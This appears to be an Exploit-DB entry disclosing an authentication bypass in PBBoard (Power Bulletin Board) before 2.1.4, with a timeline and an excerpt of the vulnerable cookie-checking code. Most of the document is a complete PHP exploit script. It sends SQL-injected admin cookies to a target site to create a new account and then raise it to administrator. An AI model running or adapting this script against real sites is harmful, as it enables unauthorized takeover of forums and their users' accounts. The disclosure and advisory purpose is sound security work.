PBBoard Authentication Bypass Vulnerability

2012-08-07T00:00:00
ID EDB-ID:37586
Type exploitdb
Reporter i-Hmx
Modified 2012-08-07T00:00:00

Description

PBBoard Authentication Bypass Vulnerability. Webapps exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/54862/info

PBBoard is a web-based messaging board application implemented in PHP.

Attackers may exploit these issues to gain unauthorized access to user accounts or to bypass intended security restrictions. Other attacks may also be possible.

PBBoard versions prior to 2.1.4 are vulnerable.
http://drupal.org/node/207891 

<?
/*
+ Application : Power Bulletin Board < 2.1.4
| Download : pbboard.com
| By Faris , AKA i-Hmx
| n0p1337@gmail.com
+ sec4ever.com , 1337s.cc

Time line :
 > 14/7/2012 , Vulnerability discovered
 > 30/7/2012 , Vendor Reported
 > 31/7/2012 , patch released
 > 01/8/2012 , Public disclosure
 

engine/engine.class.php
 		$this->_CONF['admin_username_cookie']	=	'PowerBB_admin_username';
 		$this->_CONF['admin_password_cookie']	=	'PowerBB_admin_password';
admin/common.module.php
		if (!empty($username)
			and !empty($password))
		{
			$CheckArr 				= 	array();
			$CheckArr['username'] 	= 	$username;
			$CheckArr['password'] 	= 	$password;

			$CheckMember = $PowerBB->member->CheckAdmin($CheckArr);

			if ($CheckMember != false)
			{
				$PowerBB->_CONF['rows']['member_row'] = 	$CheckMember;
				$PowerBB->_CONF['member_permission'] 	= 	true;
			}
			else
			{
				$PowerBB->_CONF['member_permission'] = false;
			}

		}
Function CheckAdmin is called from
engine/systyms/member.class.php
go deeper and deeper till u find the vulnerable query
this can be used to bypass login rules as cookies are not sanitized before being called for login confirmation
*/
echo "\n+-------------------------------------------+\n";
echo "|          PBulletin Board < 2.1.4          |\n";
echo "|    Auth Bypass vuln / Admin add Exploit   |\n";
echo "|                  By i-Hmx                 |\n";
echo "|             n0p1337@gmail.com             |\n";
echo "+-------------------------------------------+\n";
echo "\n| Enter Target # ";
function get($url,$post,$cookies){
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,"http://".$url);
curl_setopt($curl, CURLOPT_POSTFIELDS,$post);
curl_setopt($curl,CURLOPT_COOKIE,$cookies);
//curl_setopt($curl, CURLOPT_REFERER, $reffer);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,0);
curl_setopt($curl,CURLOPT_TIMEOUT,20);
curl_setopt($curl, CURLOPT_HEADER, true); 
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
function kastr($string, $start, $end){
		$string = " ".$string;
		$ini = strpos($string,$start);
		if ($ini == 0) return "";
		$ini += strlen($start);
		$len = strpos($string,$end,$ini) - $ini;
		return substr($string,$ini,$len);
}
$vic=str_replace('http://','',trim(fgets(STDIN)));
if($vic==''){exit();}
$log=fopen('faris.txt','w+');
$ran=rand(10000,20000);
echo "| Adding New User\n";
$add=get($vic.'/admin.php?page=member&add=1&start=1',"username=f4ris_$ran&password=sec4ever1337s&email=n0p1337_$ran@gmail.com&gender=m&submit=%D9%85%D9%88%D8%A7%D9%81%D9%82","PowerBB_admin_username=faris' or id='1; PowerBB_admin_password=faris' or password like '%;PowerBB_username=faris' or id='1;PowerBB_password=faris' or password like '%");
$myid=kastr($add,'main=1&id=','">');
if($myid==''){exit("| Exploitation Failed\n   - Magic_Quotes Maybe on or wrong path\n+ Exit");}
echo "| User Data :\n   + UserName : f4ris_$ran\n   + Password : sec4ever1337s\n   + User ID : $myid\n";
echo "| Updating User privileges\n";
$update=get($vic."admin.php?page=member&edit=1&start=1&id=$myid","username=f4ris_$ran&new_username=f4ris_$ran&new_password=sec4ever1337s&email=n0p1337_$ran@gmail.com&usergroup=1&gender=m&style=1&lang=1&avater_path=&user_info=&user_title=F4r54wy&posts=0&website=sec4ever.com&month=0&day=0&year=&user_country=&ip=&warnings=0&reputation=10&hide_online=0&user_time=&send_allow=1&pm_emailed=0&pm_window=1&visitormessage=1&user_sig=&review_subject=0&review_reply=0&submit=%D9%85%D9%88%D8%A7%D9%81%D9%82","PowerBB_admin_username=faris' or id='1; PowerBB_admin_password=faris' or password like '%;PowerBB_username=faris' or id='1;PowerBB_password=faris' or password like '%");
echo "+ Exploitatin Done ;)\n";
exit();
?>